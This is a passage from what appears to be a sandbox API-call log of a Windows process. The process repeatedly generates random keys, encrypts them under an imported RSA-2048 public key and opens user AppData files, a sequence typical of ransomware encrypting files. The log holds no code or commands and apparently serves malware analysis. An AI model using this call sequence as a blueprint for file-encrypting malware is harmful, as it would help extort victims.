phProv=0x285e904*=0x5c4760) returned 1 [0302.701] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0302.703] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0302.703] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0302.703] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.704] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0302.706] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67ad630) returned 1 [0302.706] CryptGetKeyParam (in: hKey=0x67ad630, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0302.706] CryptEncrypt (in: hKey=0x67ad630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdc00000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0xdc00000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0302.706] GetLastError () returned 0x0 [0302.706] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.706] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0302.708] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67adbb0) returned 1 [0302.708] CryptGetKeyParam (in: hKey=0x67adbb0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0302.708] CryptEncrypt (in: hKey=0x67adbb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdc10000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0xdc10000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0302.708] GetLastError () returned 0x0 [0302.708] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.708] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Temporary Internet Files\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\temporary internet files\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0302.727] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4760) returned 1 [0302.731] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0302.733] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0302.733] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0302.733] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.733] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4760) returned 1 [0302.736] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0302.738] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0302.738] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0302.738] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.738] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0302.741] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67ae1f0) returned 1 [0302.741] CryptGetKeyParam (in: hKey=0x67ae1f0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0302.741] CryptEncrypt (in: hKey=0x67ae1f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdc20000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xdc20000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0302.742] GetLastError () returned 0x0 [0302.742] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.742] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4e48) returned 1 [0302.743] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67ae230) returned 1 [0302.743] CryptGetKeyParam (in: hKey=0x67ae230, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0302.743] CryptEncrypt (in: hKey=0x67ae230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdc30000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xdc30000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0302.744] GetLastError () returned 0x0 [0302.744] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0302.744] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\TileDataLayer\\Database\\EDB.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\tiledatalayer\\database\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0302.746] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4760) returned 1 [0302.749] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0302.751] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0302.751] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0302.751] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.751] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4e48) returned 1 [0302.754] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0302.756] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0302.756] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0302.756] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0302.757] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0302.759] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67ae3b0) returned 1 [0302.759] CryptGetKeyParam (in: hKey=0x67ae3b0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0302.759] CryptEncrypt (in: hKey=0x67ae3b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdc40000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xdc40000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0302.759] GetLastError () returned 0x0 [0302.759] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.759] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4e48) returned 1 [0302.761] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67ae370) returned 1 [0302.761] CryptGetKeyParam (in: hKey=0x67ae370, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0302.761] CryptEncrypt (in: hKey=0x67ae370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdc50000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xdc50000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0302.761] GetLastError () returned 0x0 [0302.761] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0302.761] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\tiledatalayer\\database\\vedatamodel.edb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0303.280] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4760) returned 1 [0303.284] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0303.286] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0303.286] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0303.286] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0303.286] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4e48) returned 1 [0303.290] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0303.294] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0303.294] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0303.294] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0303.295] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0303.297] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67ae4f0) returned 1 [0303.297] CryptGetKeyParam (in: hKey=0x67ae4f0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0303.297] CryptEncrypt (in: hKey=0x67ae4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdc60000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0xdc60000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0303.297] GetLastError () returned 0x0 [0303.297] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0303.297] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0303.299] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67aeb30) returned 1 [0303.299] CryptGetKeyParam (in: hKey=0x67aeb30, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0303.299] CryptEncrypt (in: hKey=0x67aeb30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdc70000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0xdc70000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0303.299] GetLastError () returned 0x0 [0303.299] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0303.299] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Microsoft\\GameDVR\\KnownGameList.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\microsoft\\gamedvr\\knowngamelist.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0303.667] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4760) returned 1 [0303.670] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0303.673] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0303.673] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0303.673] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0303.673] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4e48) returned 1 [0303.675] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0303.678] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0303.678] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0303.678] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0303.678] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4e48) returned 1 [0303.680] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67aec70) returned 1 [0303.680] CryptGetKeyParam (in: hKey=0x67aec70, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0303.680] CryptEncrypt (in: hKey=0x67aec70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdc80000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xdc80000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0303.680] GetLastError () returned 0x0 [0303.680] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0303.680] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0303.711] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67aedf0) returned 1 [0303.711] CryptGetKeyParam (in: hKey=0x67aedf0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0303.711] CryptEncrypt (in: hKey=0x67aedf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdc90000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xdc90000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0303.711] GetLastError () returned 0x0 [0303.711] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0303.711] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\microsoft\\windows\\inetcache\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0303.739] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4e48) returned 1 [0303.743] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0303.745] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0303.745] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0303.745] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0303.745] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4980) returned 1 [0303.748] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0303.750] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0303.750] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0303.750] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0303.750] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0303.753] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67ae9f0) returned 1 [0303.753] CryptGetKeyParam (in: hKey=0x67ae9f0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0303.753] CryptEncrypt (in: hKey=0x67ae9f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdca0000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xdca0000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0303.753] GetLastError () returned 0x0 [0303.753] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0303.753] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0303.755] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67aeef0) returned 1 [0303.755] CryptGetKeyParam (in: hKey=0x67aeef0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0303.755] CryptEncrypt (in: hKey=0x67aeef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdcb0000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xdcb0000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0303.755] GetLastError () returned 0x0 [0303.755] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0303.755] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Microsoft\\Windows\\Notifications\\appdb.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\microsoft\\windows\\notifications\\appdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0303.809] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4e48) returned 1 [0303.812] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0303.815] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0303.815] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0303.815] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0303.815] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4760) returned 1 [0303.817] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0303.819] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0303.819] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0303.820] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0303.820] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4e48) returned 1 [0303.822] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67aecb0) returned 1 [0303.822] CryptGetKeyParam (in: hKey=0x67aecb0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0303.822] CryptEncrypt (in: hKey=0x67aecb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdcc0000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xdcc0000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0303.822] GetLastError () returned 0x0 [0303.822] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0303.822] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4e48) returned 1 [0303.825] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67aefb0) returned 1 [0303.825] CryptGetKeyParam (in: hKey=0x67aefb0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0303.825] CryptEncrypt (in: hKey=0x67aefb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdcd0000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xdcd0000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0303.825] GetLastError () returned 0x0 [0303.825] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0303.825] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\microsoft\\windows\\temporary internet files\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0303.840] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4980) returned 1 [0303.843] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0303.846] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0303.846] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0303.846] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0303.846] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4e48) returned 1 [0303.848] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0303.851] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0303.851] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0303.851] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0303.851] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0303.853] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67aeab0) returned 1 [0303.853] CryptGetKeyParam (in: hKey=0x67aeab0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0303.853] CryptEncrypt (in: hKey=0x67aeab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdce0000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0xdce0000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0303.854] GetLastError () returned 0x0 [0303.854] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0303.854] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0303.856] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67aed30) returned 1 [0303.856] CryptGetKeyParam (in: hKey=0x67aed30, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0303.856] CryptEncrypt (in: hKey=0x67aed30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdcf0000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0xdcf0000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0303.856] GetLastError () returned 0x0 [0303.856] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0303.856] CreateFileW (lpFileName="C:\\Documents and 